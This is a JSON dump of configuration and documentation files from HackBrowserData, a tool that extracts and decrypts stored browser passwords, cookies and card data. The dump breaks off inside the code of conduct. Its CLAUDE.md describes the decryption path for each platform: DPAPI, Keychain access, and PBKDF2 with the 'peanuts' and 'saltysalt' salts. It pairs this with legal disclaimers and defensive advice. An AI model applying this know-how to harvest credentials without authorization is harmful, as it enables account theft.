[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n## Describe the bug\nA clear and concise description of what the bug is.\n\n## Log Output\nPlease attach or paste the relevant log output. Use `./hack-browser-data -vv` and paste result here.\n\n## Expected vs Actual Behavior\nDescribe what you expected to happen and what actually happened.\n\n## Desktop (please complete the following information):\nSelect the operating system(s) you are using:\n- [ ] Windows\n- [ ] macOS\n- [ ] Linux\n\n- OS Version: [e.g. windows 10, macos 10.15.7, ubuntu 20.04]\n- OS Architecture: [e.g. 32-bit, 64-bit]\n- Browser Name: [e.g. chrome, firefox]\n- Browser Version: [e.g. 86.0.4240.111, 82.0.3]\n\n## Additional Details\n- [ ] I ran `hack-browser-data` with administrator/root privileges.\n\n## Checklist\n- [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems.\n\n## Screenshots/Videos\nIf applicable, add screenshots or videos to help explain your problem.\n\n## Additional context\nAdd any other context about the problem here."
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature Request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n## Feature Description\nA clear and concise description of what the feature is.\n\n## Why is this feature needed?\nA clear and concise description of why this feature is needed.\n\n## Checklist\n- [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems.\n\n## Screenshots/Videos\nIf applicable, add screenshots or videos to help explain your proposal.\n\n## Additional Context\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "## Proposed changes\n\n<!-- Describe the overall picture of your modifications to help maintainers understand the pull request. PRs are required to be associated to their related issue tickets or feature request. -->\n\n\n## Checklist\n\n<!-- Put an \"x\" in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code. -->\n\n- [ ] Pull request is created against the [dev](https://github.com/moonD4rk/HackBrowserData/tree/dev) branch\n- [ ] All checks passed (lint, unit, build tests etc.) with my changes\n- [ ] I have added tests that prove my fix is effective or that my feature works\n- [ ] I have added necessary documentation (if appropriate)"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"gomod\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n    open-pull-requests-limit: 10\n    target-branch: dev\n#    ignore:\n#      - dependency-name: \"example-package\"\n#        versions: [\"2.x.x\"]\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"monthly\"\n    open-pull-requests-limit: 5\n    target-branch: dev"
  },
  {
    "path": ".github/release-drafter.yml",
    "content": "name-template: 'hack-browser-data-$RESOLVED_VERSION'\ntag-template: 'v$RESOLVED_VERSION'\ncategories:\n  - title: '🚀 Features'\n    labels:\n      - 'feature'\n      - 'enhancement'\n  - title: '🐛 Bug Fixes'\n    labels:\n      - 'fix'\n      - 'bugfix'\n      - 'bug'\n  - title: '🧰 Maintenance'\n    label: 'chore'\n  - title: '📖 Document'\n    label: 'doc'\nchange-template: '- $TITLE @$AUTHOR (#$NUMBER)'\nversion-resolver:\n  major:\n    labels:\n      - 'major'\n  minor:\n    labels:\n      - 'minor'\n  patch:\n    labels:\n      - 'patch'\n  default: patch\ntemplate: |\n  ## Changes\n  $CHANGES\n"
  },
  {
    "path": ".github/workflows/build.yml",
    "content": "name: Build\n\non:\n  push:\n    branches:\n      - main\n  pull_request:\n  workflow_dispatch:\n\njobs:\n  build:\n    name: Build on ${{ matrix.os }}\n    runs-on: ${{ matrix.os }}\n    strategy:\n      matrix:\n        os: [ubuntu-latest, windows-latest, macos-latest]\n        goVer: [\"1.20.x\"]\n\n    steps:\n      - name: Check out code into the Go module directory\n        uses: actions/checkout@v4\n\n      - name: Set up Go ${{ matrix.goVer }}\n        uses: actions/setup-go@v5\n        with:\n          go-version: ${{ matrix.goVer }}\n          cache: false\n        id: go\n\n      - name: cache go modules\n        uses: actions/cache@v4\n        with:\n          path: |\n            ~/go/pkg/mod\n            ~/.cache/go-build\n          key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}\n          restore-keys: |\n            ${{ runner.os }}-go-\n\n      - name: Format Check\n        if: matrix.os != 'windows-latest'\n        run: |\n          diff -u <(echo -n) <(gofmt -d .)\n\n      - name: Get dependencies\n        run: |\n          go mod tidy\n          go mod download\n\n      - name: Build\n        run: go build -v ./...\n"
  },
  {
    "path": ".github/workflows/contributors.yml",
    "content": "name: Contributors\non:\n  schedule:\n    - cron: '0 1 * * 0' # At 01:00 on Sunday.\n  push:\n    branches:\n      - main\n  workflow_dispatch:\n    inputs:\n      logLevel:\n        description: 'manual run'\n        required: false\n        default: ''\njobs:\n  contributors:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: bubkoo/contributors-list@v1\n        with:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          round: true\n"
  },
  {
    "path": ".github/workflows/lint.yml",
    "content": "name: Lint\non:\n  push:\n    branches:\n      - main\n  pull_request:\n  workflow_dispatch:\njobs:\n  lint:\n    name: Lint\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v4\n\n      - name: Set Golang\n        uses: actions/setup-go@v5\n        with:\n          go-version: \"1.20.x\"\n          cache: false\n\n      - name: Check spelling with custom config file\n        uses: crate-ci/typos@master\n        with:\n          config: ./.typos.toml\n\n      - name: Get dependencies\n        run: |\n          go mod tidy\n          go mod download\n\n      - name: Lint\n        uses: golangci/golangci-lint-action@v8\n        with:\n          version: v2.4.0\n"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: Release\n\non:\n  workflow_dispatch:\n\npermissions:\n  contents: write\n  pull-requests: write\n\njobs:\n  goreleaser:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Set up Go\n        uses: actions/setup-go@v5\n        with:\n          go-version: '1.20.x'\n\n      - name: Check out code\n        uses: actions/checkout@v4\n        with:\n          fetch-depth: 0\n\n      - name: Run GoReleaser\n        uses: goreleaser/goreleaser-action@v6\n        with:\n          version: '~> v2'\n          args: release --clean --draft\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n  update_release_draft:\n    needs: goreleaser\n    runs-on: ubuntu-latest\n    steps:\n      - uses: release-drafter/release-drafter@v6\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/test.yml",
    "content": "name: Tests\n\non:\n  pull_request:\n  push:\n    branches:\n      - main\n      - dev\n  workflow_dispatch:\n\njobs:\n  test:\n    strategy:\n      matrix:\n        go-version: [ \"1.20.x\" ]\n        platform: [ubuntu-latest]\n    runs-on: ${{ matrix.platform }}\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v4\n\n      - name: Install Go\n        if: success()\n        uses: actions/setup-go@v5\n        with:\n          go-version: ${{ matrix.go-version }}\n\n      - name: Run tests\n        run: go test -v ./... -covermode=count\n\n  coverage:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Install Go\n        if: success()\n        uses: actions/setup-go@v5\n        with:\n          go-version: \"1.20.x\"\n      - name: Checkout code\n        uses: actions/checkout@v4\n      - name: Calc coverage\n        run: |\n          go test -v ./... -covermode=count -coverprofile=coverage.out\n\n      - name: Convert coverage.out to coverage.lcov\n        uses: jandelgado/gcov2lcov-action@v1\n      - name: Coveralls\n        uses: coverallsapp/github-action@v2\n        with:\n          github-token: ${{ secrets.github_token }}\n          path-to-lcov: coverage.lcov"
  },
  {
    "path": ".gitignore",
    "content": "# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# idea\n.idea/\n.idea\n\n# windows\n*.exe\n# macOS\n\n# binary\ncmd/agent\ncmd/server\n# bin\n# file\n*.csv\n*.xlsx\n*.txt\n\n# config file\nconfig.toml\n*.json\nBookmarks\nLogin Data\nCookies\nHistory\n*.db\n*.sqlite\n*.sqlite-shm\n*.sqlite-wal\n\n#Chromium*\n#Firefox*\nresult/\nresults/\n\nhack-browser-data\n!/cmd/hack-browser-data\n!/browserdata/history\n!/browserdata/history/history.go\n!/browserdata/history/history_test.go\n\n# github action\n!/.github/workflows/unittest.yml\n!/.github/ISSUE_TEMPLATE/*.md\n!/.github/*.md\n\n# Community\n!CONTRIBUTING.md\n\n# CICD Config\n!.typos.toml\n!.github/*.yml\n!log/\nexamples/*.go"
  },
  {
    "path": ".golangci.yml",
    "content": "# golangci-lint configuration\n# Compatible with golangci-lint v2.4+ and Go 1.20\n# This is a best practice starter configuration that can be gradually enhanced\nversion: \"2\"\n\nrun:\n  # Go version - fixed to 1.20\n  go: \"1.20\"\n  # Timeout setting\n  timeout: \"5m\"\n  # Allow parallel runners\n  allow-parallel-runners: true\n  # Module download mode\n  modules-download-mode: \"mod\"\n\n# Code formatters configuration\nformatters:\n  enable:\n    - gofmt # Go official formatter\n    - goimports # Automatic import management\n    - gci # Import grouping and sorting\n\n  settings:\n    gofmt:\n      # Simplify code\n      simplify: true\n\n    goimports:\n      # Local package prefix (must be array in v2)\n      local-prefixes:\n        - github.com/moond4rk/hackbrowserdata\n\n    gci:\n      # Import section order\n      sections:\n        - standard # Standard library\n        - default # Third-party libraries\n        - prefix(github.com/moond4rk/hackbrowserdata) # Local packages\n\n# Linter configuration\nlinters:\n  # Use standard linters as base\n  default: standard\n\n  # Additional enabled linters (best practices recommended)\n  enable:\n    # Error checking\n    - errcheck # Check unhandled errors\n    - errorlint # Improve error handling\n\n    # Code quality\n    - ineffassign # Detect ineffective assignments\n    - revive # Code quality checks\n    - misspell # Spell checking\n    - unconvert # Detect unnecessary type conversions\n\n    # Security related\n    - gosec # Security vulnerability checks\n\n    # Performance related\n    - prealloc # Slice preallocation optimization\n\n    # Code standards\n    - whitespace # Whitespace checks\n\n    # Best practices\n    - gocritic # Comprehensive code analysis\n    - goprintffuncname # Printf function naming checks\n\n    # Dependency management\n    - depguard # Package dependency control\n    - gomodguard # Go module dependency control\n\n    # Code complexity (optional for initial setup)\n    - funlen # Function length checks\n    - goconst # Magic number checks\n\n  # Explicitly disabled linters (to avoid false positives and noise)\n  disable:\n    - exhaustruct # Struct field completeness check (too strict)\n    - wrapcheck # Error wrapping check (project specific)\n    - testpackage # Test package separation (not conventional)\n    - paralleltest # Parallel test check (not always needed)\n    - nlreturn # Newline before return (too strict)\n    - wsl # Whitespace rules (too strict)\n    - gochecknoglobals # No global variables (sometimes needed)\n    - gochecknoinits # No init functions (sometimes needed)\n    - exhaustive # Enum completeness (too strict initially)\n    - unused # Temporarily disabled for gradual cleanup\n\n  # Exclusion configuration\n  exclusions:\n    # Paths to exclude\n    paths:\n      - vendor\n      - third_party\n      - testdata\n      - \".*\\\\.pb\\\\.go$\"\n      - \".*\\\\.gen\\\\.go$\"\n\n    # Use default exclusion presets\n    presets:\n      - comments\n      - common-false-positives\n      - legacy\n      - std-error-handling\n\n    # Exclusion rules\n    rules:\n      # Test file exclusions\n      - path: '_test\\.go'\n        linters:\n          - dupl\n          - funlen\n          - goconst\n          - gosec\n          - errcheck\n\n      # Generated file exclusions\n      - path: '\\.pb\\.go$'\n        linters:\n          - all\n\n      # Vendor directory exclusions\n      - path: \"vendor\"\n        linters:\n          - all\n\n      # Defer statement exclusions\n      - source: \"defer\"\n        linters:\n          - errcheck\n\n      # SQL query exclusions\n      - text: \"SELECT\"\n        linters:\n          - gosec\n\n      # Package comment exclusions\n      - text: \"should have a package comment\"\n        linters:\n          - staticcheck\n          - revive\n\n      # Types package exclusions\n      - path: \"types/types.go\"\n        linters:\n          - revive\n\n      # Unused code exclusions (temporary)\n      - text: \"is unused\"\n        linters:\n          - unused\n          - staticcheck\n\n  # Linter specific settings\n  settings:\n    # Error check settings\n    errcheck:\n      # Check type assertion errors\n      check-type-assertions: true\n      # Don't check blank identifier\n      check-blank: false\n      # Excluded functions - expanded list to reduce noise\n      exclude-functions:\n        - \"os.Remove\"\n        - \"os.RemoveAll\"\n        - \"io.Copy(os.Stdout)\"\n        - \"(*database/sql.DB).Close\"\n        - \"(*database/sql.Rows).Close\"\n        - \"(*github.com/syndtr/goleveldb/leveldb.DB).Close\"\n        - \"defer\"\n        - \"(net/http.ResponseWriter).Write\"\n\n    # Security check settings\n    gosec:\n      # Excluded rules (adjust based on project needs)\n      excludes:\n        - G101 # Hardcoded credentials - too many false positives\n        - G104 # Error checking (handled by errcheck)\n        - G304 # File path traversal (needed for project features)\n        - G306 # Poor file permissions (test files)\n        - G401 # Weak cryptographic algorithm (needed for compatibility)\n        - G405 # Weak cryptographic algorithm\n        - G501 # Import crypto/md5 (needed for compatibility)\n        - G502 # Import crypto/des (needed for compatibility)\n        - G505 # Import crypto/sha1 (needed for compatibility)\n\n    # Go vet settings\n    govet:\n      enable-all: true\n      disable:\n        - fieldalignment # Field alignment optimization (premature optimization)\n        - shadow # Variable shadowing (sometimes intentional)\n\n    # Static check settings\n    staticcheck:\n      # Check all except the ones we exclude\n      checks:\n        [\n          \"all\",\n          \"-ST1000\",\n          \"-ST1003\",\n          \"-ST1016\",\n          \"-ST1020\",\n          \"-ST1021\",\n          \"-ST1022\",\n        ]\n\n    # Revive settings\n    revive:\n      severity: warning\n      rules:\n        - name: unused-parameter\n          disabled: true # Interface implementations may not use all parameters\n        - name: var-naming\n          disabled: true # Too many false positives with types package\n        - name: package-comments\n          disabled: true # Package comments are not mandatory\n        - name: exported\n          disabled: true # Not all exported types need comments initially\n\n    # Function length settings\n    funlen:\n      lines: 150 # Increased for existing code\n      statements: 80 # Increased for existing code\n      ignore-comments: true\n\n    # Code critic settings\n    gocritic:\n      enabled-tags:\n        - diagnostic\n        - performance\n      disabled-checks:\n        - hugeParam # Large value parameters (sometimes needed)\n        - rangeValCopy # Range value copy (minimal performance impact)\n        - commentedOutCode # Allow commented code for now\n        - ifElseChain # Allow if-else chains\n      settings:\n        rangeExprCopy:\n          sizeThreshold: 512\n\n    # Dependency guard settings\n    depguard:\n      rules:\n        main:\n          files:\n            - $all\n          deny:\n            - pkg: \"github.com/pkg/errors\"\n              desc: \"Use standard library errors package instead\"\n            - pkg: \"io/ioutil\"\n              desc: \"io/ioutil is deprecated, use io or os package\"\n\n    # Spell check settings\n    misspell:\n      locale: US\n      ignore-rules:\n        - behaviour # British spelling\n\n    # goconst settings - make it less aggressive\n    goconst:\n      min-len: 5 # Minimum length of string constant\n      min-occurrences: 5 # Increased from default 3\n\n# Output configuration\noutput:\n  # Output format - use text format with colors\n  formats:\n    text:\n      path: stdout\n      colors: true\n"
  },
  {
    "path": ".goreleaser.yml",
    "content": "version: 2\n\nbefore:\n  hooks:\n    - go mod tidy\n\nbuilds:\n  - id: \"hack-browser-data\"\n    main: ./cmd/hack-browser-data/main.go\n    binary: hack-browser-data\n    env:\n      - CGO_ENABLED=0\n    goos: [windows, linux, darwin]\n    goarch: [amd64, \"386\", arm, arm64]\n    ignore:\n      - goos: darwin\n        goarch: \"386\"\n      - goos: windows\n        goarch: \"386\"\n      - goos: windows\n        goarch: arm\n    flags:\n      - -trimpath\n    ldflags:\n      - -s -w\n\narchives:\n  - id: \"archive\"\n    format: zip\n    builds: [\"hack-browser-data\"]\n    name_template: >-\n      hack-browser-data-\n      {{- if eq .Os \"darwin\" }}osx\n      {{- else if eq .Os \"linux\" }}linux\n      {{- else if eq .Os \"windows\" }}windows\n      {{- else }}{{ .Os }}{{ end }}-\n      {{- if eq .Arch \"amd64\" }}64bit\n      {{- else if eq .Arch \"386\" }}32bit\n      {{- else if eq .Arch \"arm64\" }}arm64\n      {{- else if eq .Arch \"arm\" }}arm\n      {{- else }}{{ .Arch }}{{ end }}\n\nchangelog:\n  sort: asc\n  filters:\n    exclude:\n      - \"^docs:\"\n      - \"^test:\"\n      - \"^chore\\\\(deps\\\\):\"\n      - \"merge conflict\"\n      - Merge pull request\n      - Merge remote-tracking branch\n      - Merge branch\n      - go mod tidy\nchecksum:\n  name_template: \"checksums-v{{ .Version }}.txt\"\n  algorithm: sha256\n\nrelease:\n  prerelease: auto\n"
  },
  {
    "path": ".typos.toml",
    "content": "# See https://github.com/crate-ci/typos/blob/master/docs/reference.md to configure typos\n[default.extend-words]\nReaded = \"Readed\"\nSie = \"Sie\"\nOT = \"OT\"\nEncrypter = \"Encrypter\"\nDecrypter = \"Decrypter\"\n[files]\nextend-exclude = [\"go.mod\", \"go.sum\"]"
  },
  {
    "path": "CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\n## ⚠️ CRITICAL SECURITY AND LEGAL NOTICE\n\n**THIS PROJECT IS STRICTLY FOR SECURITY RESEARCH AND DEFENSIVE PURPOSES ONLY**\n\n- This tool is ONLY intended for legitimate security research, authorized audits, and defensive security operations\n- ANY use of this project for unauthorized access, data theft, or malicious purposes is STRICTLY PROHIBITED and may violate computer fraud and abuse laws\n- Users are SOLELY responsible for ensuring compliance with all applicable laws and regulations in their jurisdiction\n- The original author and contributors assume NO legal responsibility for misuse of this tool\n- You MUST have explicit authorization before using this tool on any system you do not own\n- This tool should NEVER be used for attacking, credential harvesting, or any malicious intent\n- All security research must be conducted ethically and within legal boundaries\n\n## Project Overview\n\nHackBrowserData is a command-line security research tool for extracting and decrypting browser data across multiple platforms (Windows, macOS, Linux). It supports data extraction from Chromium-based browsers (Chrome, Edge, Brave, etc.) and Firefox.\n\n**Legitimate Use Cases**:\n- Personal data backup and recovery\n- Authorized enterprise security audits\n- Digital forensics investigations (with proper authorization)\n- Security vulnerability research and defense improvement\n- Understanding browser security mechanisms for defensive purposes\n\n## Development Commands\n\n### Build the Project\n```bash\n# Build for current platform\ncd cmd/hack-browser-data\ngo build\n\n# Cross-compile for Windows from macOS/Linux\nGOOS=windows GOARCH=amd64 go build\n\n# Cross-compile for Linux from macOS/Windows  \nGOOS=linux GOARCH=amd64 go build\n\n# Cross-compile for macOS from Linux/Windows\nGOOS=darwin GOARCH=amd64 go build\n```\n\n### Testing\n```bash\n# Run all tests\ngo test -v ./...\n\n# Run tests with coverage\ngo test -v ./... -covermode=count -coverprofile=coverage.out\n\n# Run specific package tests\ngo test -v ./browser/chromium/...\ngo test -v ./crypto/...\n```\n\n### Code Quality\n```bash\n# Format check\ngofmt -d .\n\n# Run linter (requires golangci-lint)\ngolangci-lint run\n\n# Check spelling\ntypos\n\n# Tidy dependencies\ngo mod tidy\n```\n\n## Architecture Overview\n\n### Core Components\n\n**Browser Abstraction Layer** (`browser/`)\n- Interface-based design allowing easy addition of new browsers\n- Platform-specific implementations using build tags (`_darwin.go`, `_windows.go`, `_linux.go`)\n- Automatic profile discovery and multi-profile support\n\n**Data Extraction Pipeline**\n1. **Profile Discovery**: `profile/finder.go` locates browser profiles\n2. **File Management**: `filemanager/` handles secure copying of browser files\n3. **Decryption**: `crypto/` provides platform-specific decryption\n   - Windows: DPAPI via Windows API\n   - macOS: Keychain access (requires user password)\n   - Linux: PBKDF2 key derivation\n4. **Data Processing**: `browserdata/` parses and structures extracted data\n5. **Output**: `browserdata/outputter.go` exports to CSV/JSON\n\n**Key Interfaces**\n- `Browser`: Main interface for browser implementations\n- `DataType`: Enum for different data types (passwords, cookies, etc.)\n- `BrowserData`: Container for all extracted browser data\n\n### Platform-Specific Considerations\n\n**macOS**\n- Requires user password for Keychain access to decrypt Chrome passwords\n- Uses Security framework for keychain operations\n- Profile paths: `~/Library/Application Support/[Browser]/`\n\n**Windows**\n- Uses DPAPI for decryption (no password required)\n- Accesses Local State file for encryption keys\n- Profile paths: `%LOCALAPPDATA%/[Browser]/User Data/`\n\n**Linux**\n- Uses PBKDF2 with \"peanuts\" as salt\n- Requires gnome-keyring or kwallet access\n- Profile paths: `~/.config/[Browser]/`\n\n### Security Mechanisms\n\n**Data Protection**\n- Temporary file cleanup after extraction\n- No persistent storage of decrypted master keys\n- Secure memory handling for sensitive data\n\n**File Operations**\n- Copy-on-read to avoid modifying original browser files\n- Lock file filtering to prevent conflicts\n- Atomic operations where possible\n\n## Adding New Browser Support\n\n1. Create browser-specific package in `browser/[name]/`\n2. Implement the `Browser` interface\n3. Add platform-specific profile paths in `browser/consts.go`\n4. Register in `browser/browser.go` picker functions\n5. Add data type mappings in `types/types.go`\n\n## Important Files and Their Roles\n\n- `cmd/hack-browser-data/main.go`: CLI entry point and flag handling\n- `browser/chromium/chromium.go`: Core Chromium implementation\n- `crypto/crypto_[platform].go`: Platform-specific decryption\n- `extractor/extractor.go`: Main extraction orchestration\n- `profile/finder.go`: Browser profile discovery logic\n- `browserdata/password/password.go`: Password parsing and decryption\n\n## Testing Considerations\n\n- Tests use mocked data to avoid requiring actual browser installations\n- Platform-specific tests are isolated with build tags\n- Sensitive operations (like keychain access) are mocked in tests\n- Use `DATA-DOG/go-sqlmock` for database operation testing\n\n## Browser Security Analysis\n\n### Chromium-Based Browsers Security\n\n**Encryption Methods**:\n- **Chrome v80+**: AES-256-GCM encryption for sensitive data\n- **Pre-v80**: AES-128-CBC with PKCS#5 padding\n- **Master Key Storage**:\n  - Windows: Encrypted with DPAPI in `Local State` file\n  - macOS: Stored in system Keychain (requires user password)\n  - Linux: Derived using PBKDF2 with \"peanuts\" salt\n\n**Data Protection Layers**:\n1. **Password Storage**: Encrypted in SQLite database (`Login Data`)\n2. **Cookie Encryption**: Encrypted values in `Cookies` database\n3. **Credit Card Data**: Encrypted with same master key as passwords\n4. **Local Storage**: Stored in LevelDB format, some values encrypted\n\n### Firefox Security\n\n**Encryption Architecture**:\n- **Master Password**: Optional user-defined password for additional protection\n- **Key Database**: `key4.db` stores encrypted master keys\n- **NSS Library**: Network Security Services for cryptographic operations\n- **Profile Encryption**: Each profile has independent encryption keys\n\n**Key Derivation**:\n- Uses PKCS#5 PBKDF2 for key derivation\n- Triple-DES (3DES) for legacy compatibility\n- AES-256-CBC for modern encryption\n- ASN.1 encoding for key storage\n\n### Platform-Specific Security Mechanisms\n\n**Windows DPAPI (Data Protection API)**:\n- User-specific encryption tied to Windows login\n- No additional password required for decryption\n- Keys protected by Windows security subsystem\n- Vulnerable if attacker has user-level access\n\n**macOS Keychain Services**:\n- Requires user password for access\n- Integration with system security framework\n- Protected by System Integrity Protection (SIP)\n- Security command-line tool for programmatic access\n\n**Linux Secret Service**:\n- GNOME Keyring or KDE Wallet integration\n- D-Bus communication for key retrieval\n- User session-based protection\n- Fallback to PBKDF2 if keyring unavailable\n\n### Security Vulnerabilities and Mitigations\n\n**Known Attack Vectors**:\n1. **Physical Access**: Direct file system access to browser profiles\n2. **Memory Dumps**: Extraction of decrypted data from RAM\n3. **Malware**: Keyloggers and info-stealers targeting browsers\n4. **Process Injection**: DLL injection to extract decrypted data\n\n**Defensive Recommendations**:\n1. **Enable Master Password**: Firefox users should set master password\n2. **Use OS-Level Encryption**: FileVault (macOS), BitLocker (Windows), LUKS (Linux)\n3. **Regular Updates**: Keep browsers updated for latest security patches\n4. **Profile Isolation**: Use separate profiles for sensitive activities\n5. **Hardware Keys**: Use FIDO2/WebAuthn for critical accounts\n\n### Cryptographic Implementation Details\n\n**AES-GCM (Galois/Counter Mode)**:\n- Authenticated encryption with associated data (AEAD)\n- 96-bit nonce/IV for randomization\n- 128-bit authentication tag for integrity\n- Used in Chrome v80+ for enhanced security\n\n**PBKDF2 (Password-Based Key Derivation Function 2)**:\n- Iterations: 1003 (macOS), 1 (Linux default)\n- Hash function: SHA-1 (legacy) or SHA-256\n- Salt: \"saltysalt\" (Chrome), \"peanuts\" (Linux)\n- Output: 128-bit or 256-bit keys\n\n**DPAPI Internals**:\n- Uses CryptProtectData/CryptUnprotectData Windows APIs\n- Machine-specific or user-specific encryption\n- Automatic key management by Windows\n- Integrates with Windows credential manager\n\n## Dependencies\n\n- `modernc.org/sqlite`: Pure Go SQLite for cross-platform compatibility\n- `github.com/godbus/dbus`: Linux keyring access\n- `github.com/ppacher/go-dbus-keyring`: Secret service integration\n- `github.com/tidwall/gjson`: JSON parsing for browser preferences\n- `github.com/syndtr/goleveldb`: LevelDB for IndexedDB/LocalStorage\n\n## Ethical Usage Guidelines\n\n### Responsible Disclosure\n- Report vulnerabilities to browser vendors through official channels\n- Allow reasonable time for patches before public disclosure\n- Never exploit vulnerabilities for personal gain\n\n### Legal Compliance\n- Obtain written authorization before testing third-party systems\n- Comply with GDPR, CCPA, and other privacy regulations\n- Respect intellectual property and terms of service\n- Maintain audit logs of all security testing activities\n\n### Best Practices for Security Researchers\n1. **Scope Definition**: Clearly define testing boundaries\n2. **Data Handling**: Securely delete any extracted sensitive data\n3. **Documentation**: Maintain detailed records of methodologies\n4. **Collaboration**: Work with security community ethically\n5. **Education**: Share knowledge to improve overall security"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participation in our\ncommunity a harassment-free experience for everyone, regardless of age, body\nsize, visible or invisible disability, ethnicity, sex characteristics, gender\nidentity and expression, level of experience, education, socio-economic status,\nnationality, personal appearance, race, religion, or sexual identity\nand orientation.\n\nWe pledge to act and interact in ways that contribute to an open, welcoming,\ndiverse, inclusive, and healthy community.\n\n## Our Standards\n\nExamples of behavior that contributes to a positive environment for our\ncommunity include:\n\n* Demonstrating empathy and kindness toward other people\n* Being respectful of differing opinions, viewpoints, and experiences\n* Giving and gracefully accepting constructive feedback\n* Accepting responsibility and apologizing to those affected by our mistakes,\n  and learning from the experience\n* Focusing on what is best not just for us as individuals, but for the\n  overall community\n\nExamples of unacceptable behavior include:\n\n* The use of sexualized language or imagery, and sexual attention or\n  advances of any kind\n* Trolling, insulting or derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or email\n  address, without their explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Enforcement Responsibilities\n\nCommunity leaders are responsible for clarifying and enforcing our standards of\nacceptable behavior and will take appropriate and fair corrective action in\nresponse to any behavior that they deem inappropriate, threatening, offensive,\nor harmful.\n\nCommunity leaders have the right and responsibility to remove, edit, or reject\ncomments, commits, code, wiki edits, issues, and other contributions that are\nnot aligned to this Code of Conduct, and will communicate reasons for moderation\ndecisions when appropriate.\n\n## Scope\n\nThis Code of Conduct applies within all community spaces, and also applies when\nan individual is officially representing the community in public spaces.\nExamples of representing our community include using an official e-mail address,\nposting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported to the community leaders responsible for enforcement at\n.\nAll complaints will be reviewed and investigated promptly and fairly.\n\nAll community leaders are obligated to respect the privacy and security of the\nreporter of any incident.\n\n## Enforcement Guidelines\n\nCommunity leaders will follow these Community Impact Guidelines in determining\nthe consequences for any action they deem in violation of this Code of Conduct:\n\n### 1. Correction\n\n**Community Impact**: Use of inappropriate language or other behavior deemed\nunprofessional or unwelcome in the community.\n\n**Consequence**: A private, written warning from community leaders, providing\nclarity around the nature of the violation and an explanation of why the\nbehavior was inappropriate. A public apology may be requested.\n\n### 2. Warning\n\n**Community Impact**: A violation through a single incident or series\nof 